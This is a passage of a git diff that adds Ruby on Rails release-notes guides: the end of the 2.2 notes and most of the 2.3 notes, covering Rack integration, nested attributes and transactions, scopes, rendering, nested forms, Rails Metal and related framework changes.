+* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* `rake gems:install` to install missing gems to the computer
+* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
+* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
+* `rake gems:build` to build any missing native extensions
+* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.
+
+* Lead Contributor: [Matt Jones](http://github.com/al2o3cr)
+* More information:
+    * [What's New in Edge Rails: Gem Dependencies](http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
+    * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+    * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
+
+### Other Railties Changes
+
+* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
+* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins.
+* `script/console` now supports a `--debugger` option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
+* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
+* `render_component` is deprecated. There's a [render_components plugin](http://github.com/rails/render_component/tree/master) available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+    ```ruby
+    def partial_with_implicit_local_assignment
+      @customer = Customer.new("Marcel")
+      render :partial => "customer"
+    end
+    ```
+
+    Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.
+* `ActiveRecord::Base.allow_concurrency` no longer has any effect.
+* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
+* The `%s` and `%d` interpolation syntax for internationalization is deprecated.
+* `String#chars` has been deprecated in favor of `String#mb_chars`.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
+* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com)
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
new file mode 100644
index 0000000..8c633fa
--- /dev/null
+++ b/guides/source/2_3_release_notes.md
@@ -0,0 +1,621 @@
+Ruby on Rails 2.3 Release Notes
+===============================
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in t [...]
+
+--------------------------------------------------------------------------------
+
+Application Architecture
+------------------------
+
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
+
+### Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
+* The FCGI handler goes through Rack.
+* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
+* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* `CgiRequest` and `CgiResponse` have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
+* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
+* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
+* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
+* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
+* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
+* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
+* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
+* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
+* `ActionController::Request` inherits from `Rack::Request`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
+
+### Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view pat [...]
+
+Documentation
+-------------
+
+The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+
+* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+Ruby 1.9.1 Support
+------------------
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+Active Record
+-------------
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+### Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+```ruby
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+```
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:
+
+```ruby
+accepts_nested_attributes_for :author,
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+
+### Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+```ruby
+User.transaction do
+  User.create(:username => 'Admin')
+  User.transaction(:requires_new => true) do
+    User.create(:username => 'Regular')
+    raise ActiveRecord::Rollback
+  end
+end
+
+User.find(:all)  # => Returns only Admin
+```
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't ha [...]
+
+* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/)
+
+### Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+```ruby
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+```
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/)
+* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.)
+
+### Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)
+
+### Batch Processing
+
+You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`:
+
+```ruby
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+```
+
+You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+```ruby
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+```
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just `each`):
+    * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
+    * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)
+
+### Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:
+
+```ruby
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+```
+* Lead Contributor: L. Caviola
+
+### Find with having
+
+Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+```ruby
+developers = Developer.find(:all, :group => "salary",
+  :having => "sum(salary) > 10000", :select => "salary")
+```
+
+* Lead Contributor: [Emilio Tagua](http://github.com/miloops)
+
+### Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: [Dov Murik](http://twitter.com/dubek)
+* More information:
+    * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html)
+    * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
+
+### Other Active Record Changes
+
+* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
+* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
+* A bug in quoting table names in some `has_many :through` associations was fixed.
+* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
+* Better error messages on failed `find_by_attribute!` calls.
+* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
+* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
+* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.
+
+Action Controller
+-----------------
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+### Unified Rendering
+
+`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+```ruby
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+```
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+```ruby
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+```
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
+
+### Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
+
+* More Information:
+    * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+    * [What's New in Edge Rails: Application.rb Duality is no More](http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
+
+### HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):
+
+```ruby
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+```
+
+* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/)
+* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication)
+
+### More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes [...]
+
+* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)
+
+### Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In  [...]
+
+### MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+```ruby
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+```
+
+The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons)
+
+### Optimization of `respond_to`
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between th [...]
+
+### Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)
+
+### Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an arr [...]
+
+In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+
+### Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+### Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
+* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
+* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
+* The `:requirements` option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* `polymorphic_url` does a better job of handling objects with irregular plural names.
+
+Action View
+-----------
+
+Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+### Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+```ruby
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+```
+
+You can write this view in Rails 2.3:
+
+```html+erb
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+```
+
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information:
+    * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+    * [complex-form-examples](http://github.com/alloy/complex-form-examples)
+    * [What's New in Edge Rails: Nested Object Forms](http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
+
+### Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+```ruby
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+```
+
+* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance)
+
+### Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:
+
+```ruby
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+```
+
+* Lead Contributor: [Sam Oliver](http://samoliver.com/)
+
+### AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value [...]
+
+### Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
+
+* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)
+
+### grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:
+
+```ruby
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+```
+
+returns
+
+```ruby
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+```
+
+### Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+```ruby
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+```
+
+returns
+
+```html
+<select name="post[category]">
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled="disabled">private</option>
+</select>
+```
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+```ruby
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+```
+
+* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+
+### A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:
+
+```ruby
+config.action_view.cache_template_loading = true
+```
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+### Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
+* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
+* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
+* `current_page?` now works properly even when there are multiple query parameters in the URL.
+
+Active Support
+--------------
+
+Active Support has a few interesting changes, including the introduction of `Object#try`.
+
+### Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.
+
+* More Information: [try()](http://ozmm.org/posts/try.html.)
+
+### Object#tap Backport
+
+`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+### Swappable Parsers for XMLmini
+
+The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+```ruby
+XmlMini.backend = 'LibXML'
+```
+
+* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/)
+* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)
+
+### Fractional seconds for TimeWithZone
+
+The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
+
+```ruby
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+```
+
+* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
+
+### JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+### Other Active Support Changes
+
+* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
+* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
+* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
+* `number_to_phone` accepts 7-digit phone numbers now.
+* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.
+
+Railties
+--------
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+### Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+    * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+    * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
+    * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
+    * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
+
+### Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's [rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
+
+```
+rake rails:template LOCATION=~/template.rb
+```
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
+* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)
+
+### Quieter Backtraces
+
+Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new applicati [...]
+
+### Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+### rake gem Task Rewrite
+
